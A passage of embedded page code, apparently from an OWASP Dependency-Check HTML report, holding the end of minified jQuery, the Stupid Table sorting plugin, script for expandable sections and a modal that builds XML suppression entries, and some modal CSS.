RegExp("^([-+])=("+q+")","i"),bR={},bS={position:"absolute",visibility:"hidden",display:"block"},bT={letterSpacing:0,fontWeight:400,lineHeight:1},bU=["Top","Right","Bottom","Left"],bV=["Webkit","O","Moz","ms"],bW=p.fn.toggle;p.fn.extend({css:function(a,c){return p.access(this,function(a,c,d){return d!==b?p.style(a,c,d):p.css(a,c)},a,c,arguments.length>1)},show:function(){return bZ(this,!0)},hide:function(){return bZ(this)},toggle:function(a,b){var c=typeof a=="boolean";return p.isFunction(a)&&p.isFunction(b)?bW.apply(this,arguments):this.each(function(){(c?a:bY(this))?p(this).show():p(this).hide()})}}),p.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=bH(a,"opacity");return c===""?"1":c}}}},cssNumber:{fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":p.support.cssFloat?"cssFloat":"styleFloat"},style:function(a,c,d,e){if(!a||a.nodeType===3||a.nodeType===8||!a.style)return;var f,g,h,i=p.camelCase(c),j=a.style;c=p.cssProps[i]||(p.cssProps[i]=bX(j,i)),h=p.cssHooks[c]||p.cssHooks[i];if(d===b)return h&&"get"in h&&(f=h.get(a,!1,e))!==b?f:j[c];g=typeof d,g==="string"&&(f=bQ.exec(d))&&(d=(f[1]+1)*f[2]+parseFloat(p.css(a,c)),g="number");if(d==null||g==="number"&&isNaN(d))return;g==="number"&&!p.cssNumber[i]&&(d+="px");if(!h||!("set"in h)||(d=h.set(a,d,e))!==b)try{j[c]=d}catch(k){}},css:function(a,c,d,e){var f,g,h,i=p.camelCase(c);return c=p.cssProps[i]||(p.cssProps[i]=bX(a.style,i)),h=p.cssHooks[c]||p.cssHooks[i],h&&"get"in h&&(f=h.get(a,!0,e)),f===b&&(f=bH(a,c)),f==="normal"&&c in bT&&(f=bT[c]),d||e!==b?(g=parseFloat(f),d||p.isNumeric(g)?g||0:f):f},swap:function(a,b,c){var d,e,f={};for(e in b)f[e]=a.style[e],a.style[e]=b[e];d=c.call(a);for(e in b)a.style[e]=f[e];return d}}),a.getComputedStyle?bH=function(a,b){var c,d,e,f,g=getComputedStyle(a,null),h=a.style;return g&&(c=g[b],c===""&&!p.contains(a.ownerDocument.documentElement,a)&&(c=p.style(a,b)),bP.test(c)&&bN.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=c,c=g.width,h.width=d,h.minWidth=e,h.maxWidth=f)),c}:e.documentElement.currentStyle&&(bH=function(a,b){var c,d,e=a.currentStyle&&a.currentStyle[b],f=a.style;return e==null&&f&&f[b]&&(e=f[b]),bP.test(e)&&!bM.test(b)&&(c=f.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":e,e=f.pixelLeft+"px",f.left=c,d&&(a.runtimeStyle.left=d)),e===""?"auto":e}),p.each(["height","width"],function(a,b){p.cssHooks[b]={get:function(a,c,d){if(c)return a.offsetWidth!==0||bH(a,"display")!=="none"?ca(a,b,d):p.swap(a,bS,function(){return ca(a,b,d)})},set:function(a,c,d){return b$(a,c,d?b_(a,b,d,p.support.boxSizing&&p.css(a,"boxSizing")==="border-box"):0)}}}),p.support.opacity||(p.cssHooks.opacity={get:function(a,b){return bL.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=p.isNumeric(b)?"alpha(opacity="+b*100+")":"",f=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&p.trim(f.replace(bK,""))===""&&c.removeAttribute){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bK.test(f)?f.replace(bK,e):f+" "+e}}),p(function(){p.support.reliableMarginRight||(p.cssHooks.marginRight={get:function(a,b){return p.swap(a,{display:"inline-block"},function(){if(b)return bH(a,"marginRight")})}}),!p.support.pixelPosition&&p.fn.position&&p.each(["top","left"],function(a,b){p.cssHooks[b]={get:function(a,c){if(c){var d=bH(a,b);return bP.test(d)?p(a).position()[b]+"px":d}}}})}),p.expr&&p.expr.filters&&(p.expr.filters.hidden=function(a){return a.offsetWidth===0&&a.offsetHeight===0||!p.support.reliableHiddenOffsets&&(a.style&&a.style.display||bH(a,"display"))==="none"},p.expr.filters.visible=function(a){return!p.expr.filters.hidden(a)}),p.each({margin:"",padding:"",border:"Width"},function(a,b){p.cssHooks[a+b]={expand:function(c){var d,e=typeof c=="string"?c.split(" "):[c],f={};for(d=0;d<4;d++)f[a+bU[d]+b]=e[d]||e[d-2]||e[0];return f}},bN.test(a)||(p.cssHooks[a+b].set=b$)});var cc=/%20/g,cd=/\[\]$/,ce=/\r?\n/g,cf=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,cg=/^(?:select|textarea)/i;p.fn.extend({serialize:function(){return p.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?p.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||cg.test(this.nodeName)||cf.test(this.type))}).map(function(a,b){var c=p(this).val();return c==null?null:p.isArray(c)?p.map(c,function(a,c){return{name:b.name,value:a.replace(ce,"\r\n")}}):{name:b.name,value:c.replace(ce,"\r\n")}}).get()}}),p.param=function(a,c){var d,e=[],f=function(a,b){b=p.isFunction(b)?b():b==null?"":b,e[e.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=p.ajaxSettings&&p.ajaxSettings.traditional);if(p.isArray(a)||a.jquery&&!p.isPlainObject(a))p.each(a,function(){f(this.name,this.value)});else for(d in a)ch(d,a[d],c,f);return e.join("&").replace(cc,"+")};var ci,cj,ck=/#.*$/,cl=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,cm=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,cn=/^(?:GET|HEAD)$/,co=/^\/\//,cp=/\?/,cq=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,cr=/([?&])_=[^&]*/,cs=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,ct=p.fn.load,cu={},cv={},cw=["*/"]+["*"];try{ci=f.href}catch(cx){ci=e.createElement("a"),ci.href="",ci=ci.href}cj=cs.exec(ci.toLowerCase())||[],p.fn.load=function(a,c,d){if(typeof a!="string"&&ct)return ct.apply(this,arguments);if(!this.length)return this;var e,f,g,h=this,i=a.indexOf(" ");return i>=0&&(e=a.slice(i,a.length),a=a.slice(0,i)),p.isFunction(c)?(d=c,c=b):typeof c=="object"&&(f="POST"),p.ajax({url:a,type:f,dataType:"html",data:c,complete:function(a,b){d&&h.each(d,g||[a.responseText,b,a])}}).done(function(a){g=arguments,h.html(e?p("<div>").append(a.replace(cq,"")).find(e):a)}),this},p.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){p.fn[b]=function(a){return this.on(b,a)}}),p.each(["get","post"],function(a,c){p[c]=function(a,d,e,f){return p.isFunction(d)&&(f=f||e,e=d,d=b),p.ajax({type:c,url:a,data:d,success:e,dataType:f})}}),p.extend({getScript:function(a,c){return p.get(a,b,c,"script")},getJSON:function(a,b,c){return p.get(a,b,c,"json")},ajaxSetup:function(a,b){return b?cA(a,p.ajaxSettings):(b=a,a=p.ajaxSettings),cA(a,b),a},ajaxSettings:{url:ci,isLocal:cm.test(cj[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":cw},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":p.parseJSON,"text xml":p.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:cy(cu),ajaxTransport:cy(cv),ajax:function(a,c){function y(a,c,f,i){var k,s,t,u,w,y=c;if(v===2)return;v=2,h&&clearTimeout(h),g=b,e=i||"",x.readyState=a>0?4:0,f&&(u=cB(l,x,f));if(a>=200&&a<300||a===304)l.ifModified&&(w=x.getResponseHeader("Last-Modified"),w&&(p.lastModified[d]=w),w=x.getResponseHeader("Etag"),w&&(p.etag[d]=w)),a===304?(y="notmodified",k=!0):(k=cC(l,u),y=k.state,s=k.data,t=k.error,k=!t);else{t=y;if(!y||a)y="error",a<0&&(a=0)}x.status=a,x.statusText=""+(c||y),k?o.resolveWith(m,[s,y,x]):o.rejectWith(m,[x,y,t]),x.statusCode(r),r=b,j&&n.trigger("ajax"+(k?"Success":"Error"),[x,l,k?s:t]),q.fireWith(m,[x,y]),j&&(n.trigger("ajaxComplete",[x,l]),--p.active||p.event.trigger("ajaxStop"))}typeof a=="object"&&(c=a,a=b),c=c||{};var d,e,f,g,h,i,j,k,l=p.ajaxSetup({},c),m=l.context||l,n=m!==l&&(m.nodeType||m instanceof p)?p(m):p.event,o=p.Deferred(),q=p.Callbacks("once memory"),r=l.statusCode||{},t={},u={},v=0,w="canceled",x={readyState:0,setRequestHeader:function(a,b){if(!v){var c=a.toLowerCase();a=u[c]=u[c]||a,t[a]=b}return this},getAllResponseHeaders:function(){return v===2?e:null},getResponseHeader:function(a){var c;if(v===2){if(!f){f={};while(c=cl.exec(e))f[c[1].toLowerCase()]=c[2]}c=f[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){return v||(l.mimeType=a),this},abort:function(a){return a=a||w,g&&g.abort(a),y(0,a),this}};o.promise(x),x.success=x.done,x.error=x.fail,x.complete=q.add,x.statusCode=function(a){if(a){var b;if(v<2)for(b in a)r[b]=[r[b],a[b]];else b=a[x.status],x.always(b)}return this},l.url=((a||l.url)+"").replace(ck,"").replace(co,cj[1]+"//"),l.dataTypes=p.trim(l.dataType||"*").toLowerCase().split(s),l.crossDomain==null&&(i=cs.exec(l.url.toLowerCase()),l.crossDomain=!(!i||i[1]==cj[1]&&i[2]==cj[2]&&(i[3]||(i[1]==="http:"?80:443))==(cj[3]||(cj[1]==="http:"?80:443)))),l.data&&l.processData&&typeof l.data!="string"&&(l.data=p.param(l.data,l.traditional)),cz(cu,l,c,x);if(v===2)return x;j=l.global,l.type=l.type.toUpperCase(),l.hasContent=!cn.test(l.type),j&&p.active++===0&&p.event.trigger("ajaxStart");if(!l.hasContent){l.data&&(l.url+=(cp.test(l.url)?"&":"?")+l.data,delete l.data),d=l.url;if(l.cache===!1){var z=p.now(),A=l.url.replace(cr,"$1_="+z);l.url=A+(A===l.url?(cp.test(l.url)?"&":"?")+"_="+z:"")}}(l.data&&l.hasContent&&l.contentType!==!1||c.contentType)&&x.setRequestHeader("Content-Type",l.contentType),l.ifModified&&(d=d||l.url,p.lastModified[d]&&x.setRequestHeader("If-Modified-Since",p.lastModified[d]),p.etag[d]&&x.setRequestHeader("If-None-Match",p.etag[d])),x.setRequestHeader("Accept",l.dataTypes[0]&&l.accepts[l.dataTypes[0]]?l.accepts[l.dataTypes[0]]+(l.dataTypes[0]!=="*"?", "+cw+"; q=0.01":""):l.accepts["*"]);for(k in l.headers)x.setRequestHeader(k,l.headers[k]);if(!l.beforeSend||l.beforeSend.call(m,x,l)!==!1&&v!==2){w="abort";for(k in{success:1,error:1,complete:1})x[k](l[k]);g=cz(cv,l,c,x);if(!g)y(-1,"No Transport");else{x.readyState=1,j&&n.trigger("ajaxSend",[x,l]),l.async&&l.timeout>0&&(h=setTimeout(function(){x.abort("timeout")},l.timeout));try{v=1,g.send(t,y)}catch(B){if(v<2)y(-1,B);else throw B}}return x}return x.abort()},active:0,lastModified:{},etag:{}});var cD=[],cE=/\?/,cF=/(=)\?(?=&|$)|\?\?/,cG=p.now();p.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var a=cD.pop()||p.expando+"_"+cG++;return this[a]=!0,a}}),p.ajaxPrefilter("json jsonp",function(c,d,e){var f,g,h,i=c.data,j=c.url,k=c.jsonp!==!1,l=k&&cF.test(j),m=k&&!l&&typeof i=="string"&&!(c.contentType||"").indexOf("application/x-www-form-urlencoded")&&cF.test(i);if(c.dataTypes[0]==="jsonp"||l||m)return f=c.jsonpCallback=p.isFunction(c.jsonpCallback)?c.jsonpCallback():c.jsonpCallback,g=a[f],l?c.url=j.replace(cF,"$1"+f):m?c.data=i.replace(cF,"$1"+f):k&&(c.url+=(cE.test(j)?"&":"?")+c.jsonp+"="+f),c.converters["script json"]=function(){return h||p.error(f+" was not called"),h[0]},c.dataTypes[0]="json",a[f]=function(){h=arguments},e.always(function(){a[f]=g,c[f]&&(c.jsonpCallback=d.jsonpCallback,cD.push(f)),h&&p.isFunction(g)&&g(h[0]),h=g=b}),"script"}),p.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){return p.globalEval(a),a}}}),p.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),p.ajaxTransport("script",function(a){if(a.crossDomain){var c,d=e.head||e.getElementsByTagName("head")[0]||e.documentElement;return{send:function(f,g){c=e.createElement("script"),c.async="async",a.scriptCharset&&(c.charset=a.scriptCharset),c.src=a.url,c.onload=c.onreadystatechange=function(a,e){if(e||!c.readyState||/loaded|complete/.test(c.readyState))c.onload=c.onreadystatechange=null,d&&c.parentNode&&d.removeChild(c),c=b,e||g(200,"success")},d.insertBefore(c,d.firstChild)},abort:function(){c&&c.onload(0,1)}}}});var cH,cI=a.ActiveXObject?function(){for(var a in cH)cH[a](0,1)}:!1,cJ=0;p.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&cK()||cL()}:cK,function(a){p.extend(p.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(p.ajaxSettings.xhr()),p.support.ajax&&p.ajaxTransport(function(c){if(!c.crossDomain||p.support.cors){var d;return{send:function(e,f){var g,h,i=c.xhr();c.username?i.open(c.type,c.url,c.async,c.username,c.password):i.open(c.type,c.url,c.async);if(c.xhrFields)for(h in c.xhrFields)i[h]=c.xhrFields[h];c.mimeType&&i.overrideMimeType&&i.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(h in e)i.setRequestHeader(h,e[h])}catch(j){}i.send(c.hasContent&&c.data||null),d=function(a,e){var h,j,k,l,m;try{if(d&&(e||i.readyState===4)){d=b,g&&(i.onreadystatechange=p.noop,cI&&delete cH[g]);if(e)i.readyState!==4&&i.abort();else{h=i.status,k=i.getAllResponseHeaders(),l={},m=i.responseXML,m&&m.documentElement&&(l.xml=m);try{l.text=i.responseText}catch(a){}try{j=i.statusText}catch(n){j=""}!h&&c.isLocal&&!c.crossDomain?h=l.text?200:404:h===1223&&(h=204)}}}catch(o){e||f(-1,o)}l&&f(h,j,l,k)},c.async?i.readyState===4?setTimeout(d,0):(g=++cJ,cI&&(cH||(cH={},p(a).unload(cI)),cH[g]=d),i.onreadystatechange=d):d()},abort:function(){d&&d(0,1)}}}});var cM,cN,cO=/^(?:toggle|show|hide)$/,cP=new RegExp("^(?:([-+])=|)("+q+")([a-z%]*)$","i"),cQ=/queueHooks$/,cR=[cX],cS={"*":[function(a,b){var c,d,e,f=this.createTween(a,b),g=cP.exec(b),h=f.cur(),i=+h||0,j=1;if(g){c=+g[2],d=g[3]||(p.cssNumber[a]?"":"px");if(d!=="px"&&i){i=p.css(f.elem,a,!0)||c||1;do e=j=j||".5",i=i/j,p.style(f.elem,a,i+d),j=f.cur()/h;while(j!==1&&j!==e)}f.unit=d,f.start=i,f.end=g[1]?i+(g[1]+1)*c:c}return f}]};p.Animation=p.extend(cV,{tweener:function(a,b){p.isFunction(a)?(b=a,a=["*"]):a=a.split(" ");var c,d=0,e=a.length;for(;d<e;d++)c=a[d],cS[c]=cS[c]||[],cS[c].unshift(b)},prefilter:function(a,b){b?cR.unshift(a):cR.push(a)}}),p.Tween=cY,cY.prototype={constructor:cY,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||"swing",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(p.cssNumber[c]?"":"px")},cur:function(){var a=cY.propHooks[this.prop];return a&&a.get?a.get(this):cY.propHooks._default.get(this)},run:function(a){var b,c=cY.propHooks[this.prop];return this.pos=b=p.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration),this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):cY.propHooks._default.set(this),this}},cY.prototype.init.prototype=cY.prototype,cY.propHooks={_default:{get:function(a){var b;return a.elem[a.prop]==null||!!a.elem.style&&a.elem.style[a.prop]!=null?(b=p.css(a.elem,a.prop,!1,""),!b||b==="auto"?0:b):a.elem[a.prop]},set:function(a){p.fx.step[a.prop]?p.fx.step[a.prop](a):a.elem.style&&(a.elem.style[p.cssProps[a.prop]]!=null||p.cssHooks[a.prop])?p.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},cY.propHooks.scrollTop=cY.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},p.each(["toggle","show","hide"],function(a,b){var c=p.fn[b];p.fn[b]=function(d,e,f){return d==null||typeof d=="boolean"||!a&&p.isFunction(d)&&p.isFunction(e)?c.apply(this,arguments):this.animate(cZ(b,!0),d,e,f)}}),p.fn.extend({fadeTo:function(a,b,c,d){return this.filter(bY).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=p.isEmptyObject(a),f=p.speed(b,c,d),g=function(){var b=cV(this,p.extend({},a),f);e&&b.stop(!0)};return e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,c,d){var e=function(a){var b=a.stop;delete a.stop,b(d)};return typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,c=a!=null&&a+"queueHooks",f=p.timers,g=p._data(this);if(c)g[c]&&g[c].stop&&e(g[c]);else for(c in g)g[c]&&g[c].stop&&cQ.test(c)&&e(g[c]);for(c=f.length;c--;)f[c].elem===this&&(a==null||f[c].queue===a)&&(f[c].anim.stop(d),b=!1,f.splice(c,1));(b||!d)&&p.dequeue(this,a)})}}),p.each({slideDown:cZ("show"),slideUp:cZ("hide"),slideToggle:cZ("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){p.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),p.speed=function(a,b,c){var d=a&&typeof a=="object"?p.extend({},a):{complete:c||!c&&b||p.isFunction(a)&&a,duration:a,easing:c&&b||b&&!p.isFunction(b)&&b};d.duration=p.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in p.fx.speeds?p.fx.speeds[d.duration]:p.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";return d.old=d.complete,d.complete=function(){p.isFunction(d.old)&&d.old.call(this),d.queue&&p.dequeue(this,d.queue)},d},p.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},p.timers=[],p.fx=cY.prototype.init,p.fx.tick=function(){var a,b=p.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||p.fx.stop()},p.fx.timer=function(a){a()&&p.timers.push(a)&&!cN&&(cN=setInterval(p.fx.tick,p.fx.interval))},p.fx.interval=13,p.fx.stop=function(){clearInterval(cN),cN=null},p.fx.speeds={slow:600,fast:200,_default:400},p.fx.step={},p.expr&&p.expr.filters&&(p.expr.filters.animated=function(a){return p.grep(p.timers,function(b){return a===b.elem}).length});var c$=/^(?:body|html)$/i;p.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){p.offset.setOffset(this,a,b)});var c,d,e,f,g,h,i,j,k,l,m=this[0],n=m&&m.ownerDocument;if(!n)return;return(e=n.body)===m?p.offset.bodyOffset(m):(d=n.documentElement,p.contains(d,m)?(c=m.getBoundingClientRect(),f=c_(n),g=d.clientTop||e.clientTop||0,h=d.clientLeft||e.clientLeft||0,i=f.pageYOffset||d.scrollTop,j=f.pageXOffset||d.scrollLeft,k=c.top+i-g,l=c.left+j-h,{top:k,left:l}):{top:0,left:0})},p.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;return p.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(p.css(a,"marginTop"))||0,c+=parseFloat(p.css(a,"marginLeft"))||0),{top:b,left:c}},setOffset:function(a,b,c){var d=p.css(a,"position");d==="static"&&(a.style.position="relative");var e=p(a),f=e.offset(),g=p.css(a,"top"),h=p.css(a,"left"),i=(d==="absolute"||d==="fixed")&&p.inArray("auto",[g,h])>-1,j={},k={},l,m;i?(k=e.position(),l=k.top,m=k.left):(l=parseFloat(g)||0,m=parseFloat(h)||0),p.isFunction(b)&&(b=b.call(a,c,f)),b.top!=null&&(j.top=b.top-f.top+l),b.left!=null&&(j.left=b.left-f.left+m),"using"in b?b.using.call(a,j):e.css(j)}},p.fn.extend({position:function(){if(!this[0])return;var a=this[0],b=this.offsetParent(),c=this.offset(),d=c$.test(b[0].nodeName)?{top:0,left:0}:b.offset();return c.top-=parseFloat(p.css(a,"marginTop"))||0,c.left-=parseFloat(p.css(a,"marginLeft"))||0,d.top+=parseFloat(p.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(p.css(b[0],"borderLeftWidth"))||0,{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||e.body;while(a&&!c$.test(a.nodeName)&&p.css(a,"position")==="static")a=a.offsetParent;return a||e.body})}}),p.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);p.fn[a]=function(e){return p.access(this,function(a,e,f){var g=c_(a);if(f===b)return g?c in g?g[c]:g.document.documentElement[e]:a[e];g?g.scrollTo(d?p(g).scrollLeft():f,d?f:p(g).scrollTop()):a[e]=f},a,e,arguments.length,null)}}),p.each({Height:"height",Width:"width"},function(a,c){p.each({padding:"inner"+a,content:c,"":"outer"+a},function(d,e){p.fn[e]=function(e,f){var g=arguments.length&&(d||typeof e!="boolean"),h=d||(e===!0||f===!0?"margin":"border");return p.access(this,function(c,d,e){var f;return p.isWindow(c)?c.document.documentElement["client"+a]:c.nodeType===9?(f=c.documentElement,Math.max(c.body["scroll"+a],f["scroll"+a],c.body["offset"+a],f["offset"+a],f["client"+a])):e===b?p.css(c,d,e,h):p.style(c,d,e,h)},c,g?e:b,g)}})}),a.jQuery=a.$=p,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return p})})(window);
</script>
<script type="text/javascript">
/*! jQuery Stupid Table Plugin by Joseph McCullough | https://github.com/joequery/Stupid-Table-Plugin/blob/master/LICENSE */
(function(e){e.fn.stupidtable=function(j){return this.each(function(){var d=e(this);j=j||{};j=e.extend({},{"int":function(b,a){return parseInt(b,10)-parseInt(a,10)},"float":function(b,a){return parseFloat(b)-parseFloat(a)},string:function(b,a){return b<a?-1:b>a?1:0},"string-ins":function(b,a){b=b.toLowerCase();a=a.toLowerCase();return b<a?-1:b>a?1:0}},j);d.on("click","th",function(){var b=d.children("tbody").children("tr"),a=e(this),k=0,n=e.fn.stupidtable.dir;d.find("th").slice(0,a.index()).each(function(){var a=e(this).attr("colspan")||1;k+=parseInt(a,10)});var m=a.data("sort-dir")===n.ASC?n.DESC:n.ASC,p=m==n.DESC?a.data("sort-desc")||a.data("sort")||null:a.data("sort")||null;null!==p&&(d.trigger("beforetablesort",{column:k,direction:m}),d.css("display"),setTimeout(function(){var l=[],c=j[p];b.each(function(a,b){var c=e(b).children().eq(k),d=c.data("sort-value"),c="undefined"!==typeof d?d:c.text();l.push(c)});var f=[],g=0;if(a.data("sort-dir")&&!a.data("sort-desc"))for(c=l.length-1;0<=c;c--)f.push(c);else for(var h=l.slice(0).sort(c),c=0;c<l.length;c++){for(g=e.inArray(l[c],h);-1!=e.inArray(g,f);)g++;f.push(g)}d.find("th").data("sort-dir",null).removeClass("sorting-desc sorting-asc");a.data("sort-dir",m).addClass("sorting-"+m);g=b.slice(0);for(h=c=0;h<f.length;h++)c=f[h],g[c]=b[h];f=e(g);d.children("tbody").append(f);d.trigger("aftertablesort",{column:k,direction:m});d.css("display")},10))})})};e.fn.stupidtable.dir={ASC:"asc",DESC:"desc"}})(jQuery);
</script>
<script type="text/javascript">
$(document).ready(function() {
$(".expandable").click(function (event) {
e = event || window.event;
var h = e.target || e.srcElement;
var content = "#content" + h.id.substr(6);
var header = "#" + h.id;
$(content).slideToggle("fast");
var exprx = /expandable\b/;
if (exprx.exec($(header).attr("class"))) {
$(header).addClass("collapsed");
$(header).removeClass("expandable");
} else {
$(header).addClass("expandable");
$(header).removeClass("collapsed");
}
var essrx = /expandablesubsection/;
var cssrx = /collaspablesubsection/;
if (essrx.exec($(header).attr("class"))) {
$(header).addClass("collaspablesubsection");
$(header).removeClass("expandablesubsection");
} else if (cssrx.exec($(header).attr("class"))) {
$(header).addClass("expandablesubsection");
$(header).removeClass("collaspablesubsection");
}
return false;
});
var table = $("#summaryTable").stupidtable();
table.bind('aftertablesort', function (event, data) {
var th = $(this).find('th');
th.find(".arrow").remove();
var arrow = data.direction === 'asc' ? '↑' : '↓';
th.eq(data.column).append('<span class="arrow">' + arrow +'</span>');
});
});
$(function(){
$('#modal-background, #modal-close').click(function () {
$('#modal-content,#modal-background').toggleClass('active');
});
$('#modal-text').bind('copy cut', function() {
setTimeout('$("#modal-content,#modal-background").toggleClass("active");',100);
});
$('#modal-add-header').click(function () {
xml = '<?xml version="1.0" encoding="UTF-8"?>\n<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.1.xsd">\n ';
xml += $("#modal-text").text().replace(/\n/g,'\n ');
xml += '\n</suppressions>';
$('#modal-text').text(xml).focus().select();
$('#modal-add-header').toggleClass('active');
});
});
function suppressSwitchTo(switchTo) {
$('#modal-suppress-change-to-sha1').toggleClass('active');
$('#modal-suppress-change-to-gav').toggleClass('active');
setCopyText($('#suppress-name').val(),
switchTo,
$('#suppress-'+switchTo).val(),
$('#suppress-type').val(),
$('#suppress-val').val());
}
function copyText(name, sha1, gav, type, val) {
$('#suppress-name').val(name);
$('#suppress-type').val(type);
$('#suppress-val').val(val);
$('#suppress-sha1').val(sha1);
$('#suppress-gav').val(gav);
if (gav=='') {
if ($('#modal-suppress-change-to-gav').hasClass('active')) {
$('#modal-suppress-change-to-gav').toggleClass('active');
}
if ($('#modal-suppress-change-to-sha1').hasClass('active')) {
$('#modal-suppress-change-to-sha1').toggleClass('active');
}
setCopyText(name, 'sha1', sha1, type, val);
} else {
if ($('#modal-suppress-change-to-gav').hasClass('active')) {
$('#modal-suppress-change-to-gav').toggleClass('active');
}
if (!$('#modal-suppress-change-to-sha1').hasClass('active')) {
$('#modal-suppress-change-to-sha1').toggleClass('active');
}
setCopyText(name, 'gav', gav, type, val);
}
}
function setCopyText(name, matchType, matchValue, suppressType, suppressVal) {
xml = '<suppress>\n';
xml += ' <notes><!'+'[CDATA[\n file name: ' + name + '\n ]]'+'></notes>\n';
if (matchType=='gav') {
v = matchValue.match(/^[^:]+:[^:]+:/);
if (v && v[0]) {
xml += ' <'+matchType+' regex="true">^' + v[0].replace(/\./g,'\\.') + '.*$</'+matchType+'>\n';
} else {
xml += ' <'+matchType+'>' + matchValue + '</'+matchType+'>\n';
}
} else {
xml += ' <'+matchType+'>' + matchValue + '</'+matchType+'>\n';
}
if (suppressType=='cpe') {
v = suppressVal.match(/^cpe:\/a:[^:]+:[^:]+/);
if (v && v[0]) {
xml += ' <'+suppressType+'>' + v[0] + '</'+suppressType+'>\n';
} else {
xml += ' <'+suppressType+'>' + suppressVal + '</'+suppressType+'>\n';
}
} else {
xml += ' <'+suppressType+'>' + suppressVal + '</'+suppressType+'>\n';
}
xml += '</suppress>';
$('#modal-text').text(xml);
$('#modal-content,#modal-background').addClass('active');
$('#modal-text').focus();
$('#modal-text').select();
}
function toggleDisplay(el, clzName, all, some) {
$(clzName).toggle();
if (el.innerHTML == all) {
el.innerHTML = some;
} else {
el.innerHTML = all;
}
return false;
}
</script>
<style type="text/css">
#modal-background {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: white;
opacity: .50;
-webkit-opacity: .5;
-moz-opacity: .5;
filter: alpha(opacity=50);
z-index: 1000;
}
#modal-content {
background-color: white;
border-radius: 10px;
-webkit-border-radius: 10px;
-moz-border-radius: 10px;
box-shadow: 0 0 20px 0 #222;
-webkit-box-shadow: 0 0 20px 0 #222;
-moz-box-shadow: 0 0 20px 0 #222;
display: none;
height: 240px;
left: 50%;
margin: -120px 0 0 -160px;
padding: 10px;
position: fixed;
top: 50%;
z-index: 1000;
}
#modal-background.active, #modal-content.active {
display: block;
}
#modal-text {
border: 0;
overflow: hidden
}
#modal-text:focus {
outline: none;
}
.suppresstype {
display: none;
}
.suppresstype.active {
display: block;
}
.suppressedLabel {
cursor: default;
padding:1px;
background-color: #eeeeee;
border: 1px solid #555555;
color:#555555;
text-decoration:none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
-o-border-radius: 3px;
border-radius: 3px;
}
.copybutton {
padding:1px;
background-color: #eeeeee;
border: 1px solid #555555;
color:#555555;
text-decoration:none;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
-khtml-border-radius: 3px;
-o-border-radius: 3px;
